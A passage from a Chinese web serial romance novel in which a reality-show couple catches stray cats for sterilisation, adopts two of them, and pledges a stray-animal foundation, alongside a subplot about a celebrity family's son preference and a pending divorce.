“也要带弟弟走吗?”宋云小声说:“能不能不要带弟弟走啊,我不喜欢弟弟。奶奶那么喜欢弟弟就把弟弟让给他吧。” 林悠羽表情微顿,没想到女儿会这样说。 想到自己儿子平日里是怎么欺负自己女儿的便内心酸涩。 “你们弟弟是被家里惯坏了,以后妈妈会带人好好教他的,会教他懂礼貌知廉耻然后保护姐姐。” 林悠羽抱住宋云,眼睛发红:“我保证,不会再让弟弟欺负你们了。” 宋云却好像并不相信这话,只是很轻的嗯了一声,像是敷衍和不信任,知道林悠羽没有接纳她的意见便不再提了。 缓了片刻,宋云才又开口:“如果离开奶奶的话,我好开心的。” 第890章 心情不好敲几组代码就好 宋云在林悠羽怀里,声音都带着点轻快的劲儿,好像从没有这样开心轻松过。 宋云已经七岁,已经念小学二年级了。 她其实已经懂很多道理了,她知道自己的父母是明星艺人,自己念得学校虽然不是海市最顶尖的贵族院校,但也是很不错的私立小学,很多人都羡慕她说她的爸爸妈妈是明星,夸她妈妈漂亮。 只有她自己知道自己的心里有多心酸和卑微。 其它小朋友的爷爷奶奶都很喜欢她们,她亲眼看到自己同班的女同学被她奶奶接走的时候听到对方的奶奶夸她是漂亮的小公主。 她们的奶奶总是得体优雅的,见到她还会分给她糖果,夸她漂亮。 好像学院内那些学生的爷爷奶奶以及父母都是很爱他们的小孩。 但她的奶奶和她的父亲并不爱她,她们不仅不爱她,甚至也不喜欢自己的母亲。 奶奶不止一次骂她是赔钱货,挤走了他的孙子,说她是讨债鬼,母亲每次反驳,奶奶便会骂她肚皮不争气,只生了一个儿子,是贱肚皮。 那些难听话她听了太多。 她在学校受到的教育不是这样的,她甚至不明白为什么会有人能将话说的那样难听,像是对她们母女进行人格侮辱。 家里面明明很有钱,但她多吃一枚煎蛋,奶奶都要骂她是只知道吃的废物,弟弟也会在一旁附和拍掌骂她时废物。 弟弟不会喊她们姐姐,只会喊废物。 是的,就算宋修浩现在已经五岁了,还是没有喊过他们姐姐,只会废物废物的叫,全都是奶奶教的。 她和妹妹喜欢的东西只要宋修浩喜欢就一定要让出去,考试就算拿满分在奶奶看来也没用,甚至不止一次提到赔钱丫头不该去念书。 奶奶提到不许她们姐妹念书的时候是父亲跟奶奶第一次争吵,父亲不是为她们吵,而是为他自己。 理由是,他是一线演员艺人,他的女儿不念书圈子里的人会笑话他。 最终,父亲还是退后了几步,让她和妹妹从私立小学转学到了普通的公立小学,因为这里义务教育,不用付学费,这样奶奶才骂的少了。 宋明远也因为给女儿转学到公立小学的事情上过热搜,宋明远很会装很会演,说什么不希望自己的女儿跟社会脱节,不希望她们念书的时候就分出三六九等,大家本质上就是普通人,希望她们过一过普通人的生活,念最普通的学校。 这话出来后很多路人都觉得宋明远很清醒。 但宋明远这对话让圈子里的人群嘲。 那些人虽然面上不说,但都觉得宋明远纯属有毛病。 自己挣了钱能够给儿女最好的教育为什么还要让对方去普通学院?真是为了路人缘脸都不要了。 圈子里的人就是这么认为的。 但那时宋云和宋雨不觉得有什么,却还是会不习惯。 她们在原来的学院每周都会有书法课、围棋课、茶艺课、礼仪课,钢琴课等等,等到了四年级还会有马术课,剑术课这些贵族院校专有的课程。可去了普通院校才发现没有这些课,每天除了学习就是学习。 宋云一开始不适应,但现在已经适应了。 生在这样的家庭不适应也是没有办法的。 母亲要跟父亲离婚了,证明以后要跟父亲分开,也可以不用再见到奶奶,没有比这个更好的事了。 她真的好开心,开心到甚至觉得自己好像在做梦一样。 宋云在开心,宋雨也开心,姐妹两人抱在一起闭上眼睛睡着的时候眉眼之间都是弯弯的,唇角还带着明显的笑意。 林悠羽心里发酸发涩。 好在,这一切就快要结束了,离婚后她会带走女儿,把以前欠缺的全都补给她们。 林悠羽如何感激许愿,许愿是猜不到的,此刻她正窝在盛景炎怀里。 她以前都没想到一天之内能发生这么多事,一会儿是周媛媛一会儿是宋明远的,真的没完没了。 “怎么会想着去帮林悠羽的?”盛景炎见许愿又在看数据,随口问了句。 “这还用问我?我讨厌那个老太太说的那些话,简直猖狂到可笑的地步,你说我帮林悠羽不如说我想报复宋明远。” 许愿回应。 就像林悠羽想的那样,帮她是顺便,最主要的原因是打算报复宋明远和宋老太太。 本质上许愿是愿意帮助女性的,但前提是对方自己会自救。 林悠羽这种她因为婚前协议就退却了没敢反抗。 事实上以她现在的流量和知名度,就算真的净身出户也能很快赚回来,林悠羽演技不好其实就是综艺咖,综艺也好广告也好代言费都很高。 而且许愿知道林悠羽现在的经纪公司虽然签的是宋明远的公司,但合同马上到期,以她的流量想签个好公司不是难事。 宋明远虽然在圈子里有些人脉,但达不到一手遮天的地步,说是资本,也只能是娱乐圈没多少话语权的资本。 明星艺人转成的资本,圈子里本来就没多少人真的看重他。 所以当时林悠羽完全可以自救,但她没有选择自救,而是选择了忍气吞声。 她可以理解,毕竟女性在这种事情上确实很难真的完全站起来,本就是处于弱势地位的,林悠羽本来出身就没有多好,再加上宋明远一直暗中PUA她,所以产生这种瞻前顾后的心理是很正常的。 “宋家人……是不是脑子多少都有点问题啊。”许愿想到宋明远的母亲脸色就有些微的变化。 她最讨厌的就是这种倚老卖老仗着自己年纪大指指点点还瞧不起身边人的老一辈,就好像是清朝时期遗留的裹脚布一样,令人作呕。 算了,想这些只会更烦躁。 许愿敲了几组数据,盛景炎无奈:“这个时间了还不打算睡?” “我不睡,我心情不好,等我敲几组代码就好了。” 许愿说着又敲了几组代码。 盛景炎不是很能理解这些科研人员,不过按照他对许愿的了解,大概也就再等二十分钟她的气就消了。 她总是这样,有气发泄几句然后自己救把自己哄好了,真的很可爱。 第891章 他就是重男轻女 许愿不睡他也不睡,看了下盛世后面的发展规划,明显是打算陪着她一起的。 许愿这边其乐融融,林悠羽也带着一双儿女睡得很好,宋云和宋雨甚至还做了美梦,早上醒来的时候仍然是笑着的。 宋明远就不同了,真的是一整晚都没有睡,实在是睡不着,抽了一晚上的烟,脚底下全都是烟头。 他心里烦躁,只要一想自己跟林悠羽结婚后会有多少人骂自己就心慌。 节目早上七点才开始录制,宋明远六点就把宋老太太叫起来,打算让她带着宋修浩赶紧走,省的走晚了被节目组拍下来又要上热搜,他可真的经不住折腾了。 宋老太太看到自己儿子整张脸都是白的,浑身的烟味儿也知道儿子一整晚没睡了,她心虚,如果不是自己去找许愿麻烦也不会变成这样。 宋老太太实在心慌,看着宋明远问道:“名媛,那许愿也太过分嚣张了,咱们家的事情她凭什么插手啊。” 她觉得许愿把自己儿子逼成这样实在不懂事。 “妈,算我求你了,你别再提许愿就算是帮我了行吗,你能不能安分一点。” 宋明远是真的怕了自己的母亲了,再去找许愿,他还要不要继续在圈子里混了。 宋明远几乎是想哀求自己母亲不要再胡闹。 宋老太太见他这般更是把许愿恨上了,可能有什么办法呢,许愿人脉圈可比她们广多了,想对付许愿,也只能过过脑子想一想了。 宋老太太连连保证自己不会去找许愿的麻烦,宋明远这才叫醒了宋修浩,宋修浩睡得迷迷糊糊的,大早上被喊醒起床气就上来了,又是扔东西又是砸东西的。 宋明远想骂他,宋老太太却不肯,连连说他不疼儿子,然后去哄宋修浩。 宋明远看着这一幕心里瞬间更凉了。 都到这一步了自己的母亲还要继续娇惯宋修浩,林悠羽有些话说的是没错,如果孩子分给自己,自己母亲带大宋修浩,宋修浩能有什么好性子?指不定真要养出个混世魔王,倒不如让林悠羽把孩子带走好好教育。 宋明远做了这个决定,终于没那么难受了。 路上他也没提跟林悠羽离婚后要把孩子都给林悠羽的事,老太太还在路上念叨着要让林悠羽净身出户,一个孩子也不给的事。 宋明远觉得老太太是真的又毒又狠,又觉得宋修浩如果被老太太带大,以后是不是也这样又毒又狠?说不定长大了也舍不得给他花钱不愿意养他? 相反宋云和宋雨就被养的很乖。 宋明远更觉得把孩子给林悠羽是正确的选择。 如果老太太真想带孩子,他就再找个人生一个,虽然这个年纪了质量肯定不如从前,但老太太喜欢那就给她一个,哪怕真养那孩子一辈子他也养得起,权当逗老太太开心了。 宋明远把人送走了,回去后洗去了身上的烟味儿换了衣服。 他回去的时候林悠羽和宋云宋雨都已经醒了,两个女儿赖在林悠羽身边,节目组已经送了早饭过来,两个女儿已经开始乖巧的用餐了,完全不像宋修浩要人喂着吃哄着吃。 宋明远坐到餐椅上,随口提了句:“虽然我们打算要离婚了,但……你如果聪明就让两个孩子好好笼络许愿,如果许愿喜欢她们,对你以后也是有帮助的。” 这确实是他对林悠羽的忠告了。 林悠羽吃掉最后一口煎蛋,抬头看着他然后开口:“小云和小雨想接触谁那都是她们的自由,越是刻意越是惹人厌恶,你已经体会到这种感觉了不是吗。” 宋明远就是那样刻意的接近许愿,最终却被许愿厌恶的人。 宋明远哑口无言。 “让两个孩子不要当着镜头的面说我们要离婚的事,传出去不好。”宋明远只能转了话题。 “我昨晚提醒过了。”林悠羽淡淡回应,显然没打算跟宋明远多交流。 宋明远也不在意,本来他跟林悠羽之间就没多少感情。 吃过早餐节目组的人已经来了,直播也正式开始。 没了宋修浩,跟在林悠羽身边的是宋云宋雨。 宋云宋雨不像宋修浩那样圆头圆脑白胖白胖的,相反,两个女儿很瘦,但随了林悠羽仍然很白,很漂亮,一双儿女乖巧的跟在林悠羽身边,林悠羽刷碗的时候她们就在一旁帮忙,完全不像宋修浩只知道吵嚷欺负其他人。 早早进了直播间的观众都忍不住唏嘘觉得这女儿跟儿子的差距也太大了点。 {能不差距大吗?看看宋修浩被养成那样大概就猜到宋家重男轻女了,宋修浩是宋家的男娃,宋家人能不在乎吗?只会捧着宠着自然把孩子宠坏了,这两个孩子是女孩儿,多半是没少被欺负,所以才养成这种性子,也别跟我杠啊,宋家肯定重男轻女,不然宋明远不会一直逼着林悠羽生孩子,林悠羽每次坐完月子没多久就又怀了,分明就是宋家一直让她生,一年生一个一年生一个对身体危害有多大,还不是为了要男娃?} 这话没人能反驳。 林悠羽生了孩子后身体确实大不如前,就她经常参与的那档综艺也能看出来,从前气血很足,现在遇到点冷水就脸色苍白身体发抖,明显生孩子后身体没养好就被逼着一直生,气血两亏,甚至比之前身体更纤瘦了。 正常女性是不能这样一直不停的生的,身体还没恢复过来就又怀了,可见宋家对林悠羽没有半点联系,就像网络上辣评的那样,直把林悠羽当做最低劣卑微的生育机器。 宋明远本想着让女儿来吸吸粉,没想到女儿这样乖巧懂事反倒暴露了他们宋家的那些缺漏。 重男轻女能是什么正确观点吗? 本来网络上就因为他家生了三胎的事情没少骂他,骂他苛待林悠羽,只知道让女人生孩子,那时候粉丝还能洗两人感情好不存在重男轻女这么一说。 可现在两个女儿参加节目更是实锤了。 不是重男轻女,两个女儿也不会养成这种性子! 第892章 哪有起名这么随便的 现在几乎是不管宋明远做什么都是错的。 宋明远不知道,还当女儿给自己吸粉,笑呵呵的看着老婆孩子洗碗,就在一旁傻站着的宋明远又被嘲眼里没活儿。 导演宋玥看到网络上这些评价一时有些无语,但也没办法,这是宋明远要换自己女儿的,他自己都没想过这连锁反应,那也怪不得节目组了。 而且……宋明远也没被骂错,他就是重男轻女啊,这没得洗。 宋明远这边被骂,许愿那边倒是还是很正常,早上还是被盛景炎叫起来的,她有点懒洋洋的,似乎是昨晚睡得有点晚脸也有点肿,不过早上做了护肤喝了黑咖啡后就消下去了,还是光彩亮人,弹幕里面都是羡慕的评论,跟宋明远那边完全不一样。 周鹤瑾和周媛媛那组仍旧是貌合神离,周鹤瑾全程照顾周文晏,并未多理会周媛媛,衬得周媛媛像是多余的人。 沈从和杜佳阮两人也没打算炒作了,各吃各的,毕竟是合作过的同事,不刻意炒CP后弹幕也干净多了,两人的互动也算得上有同事爱。 几组嘉宾集合到一起时已经快八点了,宋玥这边发放了今天的任务。 “大家都知道流浪猫的生存条件很恶劣,今天我们打算召集各位嘉宾一起去寻找流浪猫给流浪猫绝育。” “给流浪猫绝育能控制流浪猫数量,绝育手术会移除猫咪的生殖器,阻止其能够繁殖后代。这对于控制过多的猫咪数量和防止不受控制的繁殖是非常重要的,流浪猫可能会携带一些病毒,绝育可以减少流浪猫的数量,可以减小病毒传播的几率,同时也可以杜绝一些先天性遗传疾病如折耳猫的软骨病、多囊肾等不可逆疾病,也可以降低一些健康问题的风险。” “所以打算召集各位一起为流浪猫绝育。” 宋玥没有说给流浪狗绝育是因为担心流浪狗会咬人,虽然大多数狗狗是温顺的,但是比起猫来说,有些狗是会主动攻击人类的,且……有些狗是大型犬,担心吓到小孩子,所以节目组选择了给流浪猫绝育。 嘉宾们都提前打了预防的针剂,所以就算被猫咪抓伤也不必害怕,但还是全都戴上了防护手套。 几组嘉宾分散去找流浪猫,这边的村庄附近其实就有一所大学,大学周围有一座公园,此刻公园安安静静的,但是却传来一道凄厉的猫咪叫声,是小奶猫的叫声,有点凄惨和委屈。 许愿和盛景炎还当有小猫咪遇到了什么危险,结果走近一看,就看到有一只白色的小奶猫眼睛亮晶晶的跟在一只大黑猫身边上蹿下跳的打滚,身上的白毛都变成了灰色的,但那双眼睛发亮全都是激动和兴奋继续在地上扑来扑去滚来滚去,还故意的把爪子在沾了煤灰的地面上蹭来蹭去,把一双白软的爪子蹭的脏兮兮。 黑猫看到这一幕跳过去就抬手给了她脑瓜子啪啪几巴掌,小白猫这才发出那委屈的声音。 委屈完又上蹿下跳,然后抬出她脏兮兮的猫爪爪,一脸骄傲得意。 黑猫盯着她看了半天,白爪子彻底变成灰黑色的爪子了。 黑猫似乎不懂小白猫的意思,小白猫啃着自己尾巴尖咬了咬,然后兴奋的又把爪爪举到黑猫面前,让自己灰黑色的爪爪跟黑猫的一身黑毛挨着。 看到这一幕的许愿眼皮跟着跳了跳。 不是她想的那样吧…… 这白猫是觉得自己一身白跟黑猫不像亲生的所以故意把毛蹭脏了? 许愿乐不可支。 “你看到那小白猫了吗,她故意把毛弄脏呢,太可爱了。” 盛景炎目光全程落在她身上,见风吹乱了她额前的发便拂去他额前的发:“嗯,是很可爱。” 也不知说的是猫咪可爱还是她更可爱。 许愿眉眼弯弯的,抱着航空箱冲盛景炎笑:“我知道我自己可爱,你不要一直盯着我看,去抓猫啦!” 许愿已经把航空箱放到了地上,小白猫看到他们也没有跑,有点惊讶的望着他们,也不怕生,看着像是被黑猫保护的很好,黑猫围着他们转了一圈,猫尾巴向上盯着许愿和盛景炎看了许久,然后脚步轻盈的跳到航空箱上面。 许愿有些兴奋的从口袋里取出从宠物医院买的猫条,她甚至还买了一次性的小碗,把猫条挤到里面然后一点点靠近航空箱。 黑猫没有跑,看着许愿把小碗儿放到地上。 他鼻子嗅了嗅,然后叼着小白猫的脖子把她头摁到碗里吃猫条。 小猫嗷呜嗷呜的开吃,黑猫就警惕的在一旁守着,跟守护神似的。 许愿又拿了一次性小碗在里面放了点猫饭然后放到黑猫面前,黑猫开始吃起来,比起小奶猫,黑猫的用餐的动作就优雅多了,不像流浪猫,像是曾经家养的猫咪。 也只有家养过的猫咪才会亲人不怕人。 且这黑猫看着像是纯黑色的英短,本就不像是流浪猫。 许愿想到附近是大学城,猜到大抵是大学生在学校养猫后被查出来,或者猫咪生病被丢弃的。 怪不得节目组说这边流浪猫多,被丢掉的猫咪没有绝育,猫咪发情就会交配生了一窝又一窝,所以猫咪会越来越多。 许愿忍不住叹气,却也没主动上手抓这两只黑猫。 黑猫吃完东西望向许愿也不知道在想什么,下一秒自己主动把小白猫赶进航空箱,自己也跟着进去了。 许愿都惊了,这黑猫也太懂事了。 许愿忍不住去看盛景炎,盛景炎忍不住笑道:“这猫还挺聪明,大概知道我们条件好,所以在找主人呢。” 许愿眼睛更亮了:“那我要养,我跟它们有缘。” 许愿走近去看两只猫,两只猫盯着她看,也没闹,她赶进关上箱子,整个人都有点乐颠颠的。 盛景炎不由得捏了捏眉心。 “你真打算养?” 许愿立刻点头,想养两个字都写脸上了。 盛景炎也不会跟两只猫吃醋,而且能让许愿开心的话他当然不会拦着。 “那我们就带小黑和小白去做检查。” 许愿赶紧反驳:“哪有起名起的这么随便的!” 第893章 猫咪圈子里的黑老大 给小猫起名小黑小白要气死谁啊。 许愿见盛景炎提着航空箱就要走,赶紧追上:“不许叫这两个名字。” 摄影师跟着只觉得吃了满嘴的狗粮,也没人说流浪猫这么乖巧懂事的啊。 弹幕都要炸锅了。 {每次看到许总和盛总,总是能看到爱情最本真的模样,所有直播间真的就只有他们的直播间让人看着就会觉得很开心,这才是爱人的浪漫旅行的,其他的都在干嘛……} {周鹤瑾的直播间应该叫做父子的亲情旅行,杜佳阮和沈从是同事的组团旅行,林悠羽组的就是母女浪漫之旅……反正都跟爱情没什么关系了,也就许愿和盛景炎没跑题。} {节目组真的不打算改名叫离婚进行时吗……} {楼上是要笑死谁啊,真的改名叫离婚进行时你看许总能乐意吗,跟内涵许总盛总分手一样,太难听了。} 那确实是,总不能因为另外三组改成这名字,许愿肯定第一个不乐意。 许愿和盛景炎已经带着黑猫和白猫去检查了,两只小猫都很健康,连猫藓都没有,就是白猫还太小没办法绝育,黑猫连疫苗也没打,没办法绝育,绝育的话会有些风险。 需要注射猫三联疫苗,可以预防猫瘟、猫鼻气管炎和猫杯状病毒病。另外还需要注射狂犬疫苗,黑猫都没打,为了保障身体健康需要打过这些后再检查身体抗性才能绝育。 其实流浪猫直接抓来做绝育也可以,但许愿总想做到最好,而且她不缺这点时间和金钱。 黑猫和白猫暂时放在宠物医院寄养,许愿又买了新的航空包,这次多买了两个去抓猫。 后面遇到的小猫就没有这么听话了,又跑又闹的,好在最后堵住把猫抓住了。 这边的流浪猫确实很多,许愿抓到的就有十几只。 抓流浪猫让宋明远觉得比弄玉米还麻烦,追着小猫跑了一天,闹出来不少笑料,小猫看到宋明远就想跑,宋明远觉得自己就跟傻子一样被猫针对了,弹幕里却有人嘀咕大概是宋明远给人感觉不像好人,小动物都是有感觉的。 确实,宋明远现在的风评太差了。 现在别说路人瞧不上宋明,就是小动物也瞧不上宋明。 一天折腾下来宋明远只抓住了一只小猫咪,手臂还被抓挠破了,反倒是他的两个女儿一路追着小动物跑,让人看着便想到了她的母亲林悠羽年轻的时候。 两个小女孩抱着小猫满脸都是笑意,眼睛都是亮晶晶的。 林悠羽忍不住想到女儿想养小动物,但宋老太太不允许,最后只敢养了只小仓鼠,最后还被老太太丢出去喂狗,宋云因为这件事伤心难过了很久,从那天起就不敢再养小动物了,因为担心哪一天小动物再因为她而死掉。 每一组抓的小猫都不算少,这次就不分排名了,不过抓的最多的得到了这边动物保护组织送来的一本猫咪绘本。 许愿和盛景炎抓的最多,拿到了这本绘本。 许愿翻看绘本心也跟着软了,直播间都能看到绘本上面软萌可爱的画风。 甚至还认出了其中的黑猫和白猫,赫然就是主动钻进航空箱许愿打算领养回家的那两只。 “这两只猫是这附近最有灵性的猫咪,黑猫叫玄墨,小白猫叫雪团。” “黑猫的名字还是附近的一名老师起的,因为他一身黑毛,那位老师用了很多代表黑色的字叫她,就玄墨这两个字他反应最大,叫玄玄或者墨墨他就不会有任何反应,倒是小白猫叫什么都应,最后还是叫了雪团,叫她团团也会喵,两只猫性格完全不同。” 动保组织的人简单介绍了下开口解释:“其实许总能把他们带过来真的出乎我们的预料,玄墨脾气很臭,看到人就会叼着雪团跑开,跑的远远的根本不会回来,强硬的把他抓回来是真的会挠人,后来便没人敢抓他了。” 许愿还真是不太信那黑猫有多凶,毕竟她和盛景炎靠近黑猫的时候黑猫一点反应都没有,还懒洋洋的打量他们转圈圈。 见她不信,动保组织的工作人员还特地调出了玄墨攻击人的视频,如果不靠近玄墨他是不会有任何反应的,但这边的工作人员是打算抓他去绝育的,针快到他身上的时候才被玄墨攻击了,大概是以前被这么折磨过,所以才会反应这么大。 许愿看了视频是真的震惊,毕竟这只黑猫面对她的时候一直都很乖巧。 “玄墨成年了吗,我看他好像很大只。”许愿问。 “话没有成年,大概六个月的样子,也不知道他是怎么长这么大只的,也不是胖,他是……怎么举例呢,有点像人类范畴中有脑子的体育生那种感觉。” 懂了,一只不胖且浑身肌肉的小猫咪。 哇,听着有点像猫咪圈子里的黑老大。 这么酷的吗。 姜栖晚看着玄墨的目光都又亮了几分。 绘本上玄墨和小雪团的故事占的篇幅还不小,一半都是玄墨和小雪团。 故事的开始是玄墨从水里叼出了小雪团,绘本上的玄墨看似冷漠,心里却冒着泡泡“捡到了就是我的了。” 绘本上画了玄墨捡东西给小雪团吃,去哪里都会叼着她,还会让她骑在自己脖子上,坐在玄墨身上的小雪团琥珀色的眼睛都像是在发光,然后猫猫软萌的蹭着黑猫,图上多了两颗小爱心。 再翻一页就看到小雪团在地上翻滚着蹭了浑身黑,然后一脸骄傲的挺起胸脯到黑猫面前展示自己身上新变出的黑色毛发,下一格就被黑猫制裁,被黑猫压着爪子在水池里面洗掉爪爪上的脏污和黑灰,被洗掉黑色的小白猫捂着脸哭泣,绘本上的小白猫眼泪都像面条宽。绘本空白的地方是作者标注“想跟哥哥一样变成黑色的猫猫!” 绘本上隐藏在其他地方的小猫都是一脸惊恐。 唯独黑猫从破破烂烂的纸箱子里面叼出捡到的半根火腿肠推到小白猫嘴边后给她舔毛,小白猫被舔的在地上打滚,舒服的发出呼噜呼噜的声音。 像是被舔的很舒服。 许愿记起今天的雪团也蹭黑了爪爪,然后被黑猫揍了。 第894章 她想保护小动物 “小雪团蹭脏爪子就是想跟黑猫一个颜色?她经常这么做吗?”许愿惊讶。 工作人员失笑:“我们遇到过三四次了,雪团大概是觉得自己跟黑猫不是一个颜色,所以有点难过,非常执拗的想给自己染色呢。” 许愿笑出声。 如果她是黑猫也要被这小崽子气到的。 好不容易洗干净了她就又要把爪子染黑。 航空包里面的黑猫也在舔着小白猫的毛发,像是听到了有人在议论自己,时不时的看向外面,摄影师也拍了下黑猫,评论区都被黑猫玄墨帅到了。 硬要说有多帅,评论区有人说像是野生霸总猫。 弹幕区都被黑猫白猫萌到了。 {玄墨真的好酷啊,好喜欢玄墨,完全保护雪团。} {雪团真的好惨,一心想变成玄墨一样的颜色,结果每次都被发现杯制裁。} {话本最后那一幕玄墨背着小雪团在公园看夕阳那一幕好美啊,好像童话故事的结局。} {能遇到许总和盛总并被他们收养真的已经算是童话结局了,猫猫们也算是入豪门了。} 评论区疯狂刷猫猫。 “玄墨不是小白猫的爸爸吗?我还以为那只小白猫是他的孩子呢。”许愿轻笑问了句。 因为她记得绘本里面提到小白猫喊他哥哥。 工作人员一言难尽:“小白猫不是他的孩子,是有一只白色的流浪猫生了一窝小猫咪结果生太多难产死掉了,一窝小猫被几个小学生丢到了冷水里,除了这只小白猫其它几只都被冻死了,玄墨救回来一只所以后来看到有小孩子接近雪团都会叼着雪团跑走,大概是怕雪团再被那群孩子弄死吧。” “其实我们想给流浪猫绝育就是不希望这些猫咪难产或者新出生的小猫再变成流浪猫被虐杀,流浪猫流浪狗也经常被投毒,我们在公园也看到过有人故意喂掺了老鼠药的猫粮,插了针的火腿肠……这些都太多了,但是管不住。” “其实你硬要说狗可能会突然攻击你,那确实有这种可能,但现在外面的流浪狗几乎都被人抓走了,外面那些狗肉店就是这么来的,外面几乎没有几条流浪狗,我们看到后都会带回组织这边安顿然后找领养家庭。流浪猫的话,其实养过猫的都知道,家养的猫才会亲人,流浪猫只会躲着人类走,绝对不会主动攻击人类,如果真的攻击了人类大概是被那人率先伤害了。” “像玄墨就是躲着人走,他应该是吃到过夹着针的火腿肠被扎到过,所以现在我们抓他要打疫苗的时候他才会突然发狂。” 工作人员提到这些像是无奈又像是心酸。 流浪猫是会对人类有防备心理的,因为它们太弱小,且无法反抗人类给予的伤害,所以会躲着人类,但即便这样还是有人开口提到流浪猫会伤害人类然后大肆虐杀。 但没有办法,国内没有流浪动物保护法,就算你知道这个人是恶人,知道他虐杀了很多小动物也构不成犯罪。 许愿心里面多少有些酸涩,她是很容易与人共情的那类人,此刻就已经有些扛不住了。 她想,总要做点什么。 “我打算建立流浪动物基金会,以后你们抓到流浪猫流浪狗,疫苗狂犬针还有绝育以及那些猫粮狗粮这类的花销都可以在基金会官网申请,我会尽快联系我的助理做出提案。” “借着这个直播平台希望各位可以把我说的这些最大范围内的传播出去,我会尽快设立基金会专用的APP软件,可以下载后联系工作人员审核通过,会定期有工作人员回访并提供一定的资金支持,APP最晚半个月内上线,只要我所在的公司没有破产,救助流浪动物的基金会就会一直存在,这是我的承诺。” “有人总说有多大的能力就做多大的事,有些人可能只是普通家境,但在路边看到小猫小狗也会发善心捡回家,她们的经济能力可能并没有多好,最多只能养一两只小动物,但我既然有这个能力我就想多帮那些小动物一把。” “小动物不是人类,她们不会开口说话,甚至求救也只能发出叫声,我也希望大家可以善待小动物。” 许愿一直都是这样的,在盛景炎心里她从没有变过。 永远都是那样善良,她不会逼其他人一起去养小动物,她只是呼吁大家善待,提出建立基金会,并不是口头说说,而是真的付诸于行动。 她一直都是这样热忱而耀眼。 动保组织的人看着她整个人都有些呆滞了,她像是完全没料到许愿会这么解决这件事,所说的所做的都戳在她心窝上。 其实他们这样的组织一般都是自发性质的,很多组织都是没有金钱支持的,纯靠自己对小动物的热爱。 但许愿这样做就等同于是给了她们后盾,不用考虑资金问题。 是许愿啊,那可是许愿啊。 工作人员眼睛都有些红了,许愿脸上仍然带着浅浅的笑,还是那样淡定,仿佛并不知道自己做下的决定要花费多少金钱。 盛景炎对此完全不会阻止,只是在一旁陪着她笑,完全支持她的所有决定。 弹幕已经刷疯了,全都因为许愿这个决定疯了。 {许愿是真的疯了,她知道前两年大数据的测试流浪狗大概超过四千万只,流浪猫超过五千万只,过了两年数据只会增加不会减少,她真的清楚这要花费多少金钱吗?} {我只要算一算大概要花费的数目我整个人都要发蒙了。} {拜托你们能不能清醒,许愿说的是建立基金会收留那些猫猫狗狗但会给他们找收养他们的家庭,而且如果是许愿的话基金会肯定是能运营下去的,我已经开始期待许总涉猎猫粮狗粮市场了,以我对许总的信任,如果是许总肯卖猫粮狗粮我一定支持。买许总的猫粮狗粮等同于也为基金会出一把力了,真的属于无条件信任许总。} 第895章 给你定制个猫耳朵? {许总对医药方面肯定有研究的,不然也不会研究出抗癌药物,就算许总不懂,那许总不是认识段老师吗,肯定能研究出猫粮狗粮售卖的,许总既然敢开这个口就证明许总有能力让基金会一直运营下去,就像早期在A大建立的基金会一样,只因为她是许愿。} {许愿给猫猫狗狗建立基金会有点过了吧,她有这个钱不如捐给有用的人啊,为什么一定要捐给猫猫狗狗?人难道还比不上猫猫狗狗重要吗?特地为流浪猫流浪狗建立基金会也太超过了些。} 果然有人支持许愿就有人开始喷许愿这样做不对。 有些人就是这样的,觉得自己生而为人就高高在上,而猫猫狗狗就完全被他们看作是畜生。 这类人群就是喜欢对素昧平生的人指指点点,网络上有人发出自己喂家养的猫咪吃鱼肉鸡肉,那群人就会冒头说吃的比我好这类的话来阴阳怪气,甚至嘲讽对自己父母都没有这么好这类的言论。这种人就是自己不努力不能很好的生活就要上网去找其他人的麻烦看不惯所有人然后在网络上到处喷人, 就像许愿,她为猫猫狗狗建立基金会需要投入大量金钱,那群人冒头就好像许愿为猫猫狗狗花的钱触动了他们的利益那般冲动到不能接受的地步。 许愿不知道弹幕区评论区吵起来,她说要建立基金会的事惹得身旁几个明星都朝她看过来。 特别是周文晏被周鹤瑾牵着眨着眼睛望着自己的父亲小声问什么是流浪动物基金会。 周鹤瑾半蹲下身看着周文晏笑着解释:“你阿愿姐姐心善,她知道小动物在外面流浪没有爸爸妈妈没有房子住只能捡垃圾吃还要被坏人欺负,所以打算建立一个救助他们的组织,就像你遇到危险会想到警察叔叔一样,阿愿姐姐建立的基金会就是救助帮助小动物的,然后会像孤儿院那样收养流浪的猫猫狗狗为她们寻找新的家庭。” 周文晏忍不住哇了一声,看着许愿的眼睛都是亮晶晶的,一双眼睛里面全都是倾佩。 “阿愿姐姐好棒。” 周文晏是这样想的,宋云和宋雨也是这样想的,此刻姐妹两人眼睛里也是盛满了小星星。 宋明远眼看着风头都被许愿抢走了,自己完全没有人关注,顿时有点着急开口道:“许总要建立基金会,那我先捐五百万支持许总的决定!” 许愿本来脸上还带着笑意,但听到宋明远的话面上表情多了几分淡淡的凉意。 她不喜欢宋明远的原因有很多,现在又多了一个,看不清时局也不懂分寸。 想捐钱可以挑很多时候去说,完全可以直播结束再说,故意挑这个时间说不就是为了蹭热度,觉得她占了风头。 若是往常便也罢了,就怕有人觉得许愿这样是逼捐。 宋明远捐了,那在场其他明星是不是也需要捐款?不捐款是不是会被群嘲? 周鹤瑾便也罢了,出道时间长有一定资金积攒量,但沈从呢? 他签约的公司比例分成8:2,沈从只能拿其中两成,沈从虽然前段时间爆火,但此前片酬很低,缴纳完税务,分到他手上的没多少,都说沈从火,可沈从现在都还租房子住,此前又因为参加慈善晚宴捐了三百万,算到最后沈从是真的没钱。 当红顶流是真的穷。 所以现在沈从脸色都有点白,他不是不想捐钱,而是真的没钱,他甚至都想着是不是也表态自己愿意捐钱,等直播结束再跟许愿打欠条,等自己钱够了再打给基金会。 他也怕自己不表态会让许愿觉得自己没有爱心,毕竟许愿都打算签他了。 沈从咬咬牙打算开口了,结果听到许愿笑了一声。 “宋老师这是干什么,不用你捐款,你这样你的粉丝都要跟着捐了,大家还是先过好自己的生活最好,如果宋老师真的有心不如等以后有时间去阻止帮忙照顾下猫猫狗狗就够了,心意在就好。” 许愿弯唇笑着看了沈从一眼:“沈从以后要记得来做志愿者哦,会为志愿者专门定制衣服的,再给你定制个猫耳朵怎么样。” 弹幕都在舔屏,坐等许愿给沈从定制猫耳朵。 {呜呜呜许总是知道我们喜欢看什么的!} {许总万岁,不仅要猫耳朵还要狗狗耳朵!我真的啊啊啊好兴奋啊,一想到小丛穿着志愿者的衣服戴着猫耳朵去救助猫猫狗狗我的心都要化了!} 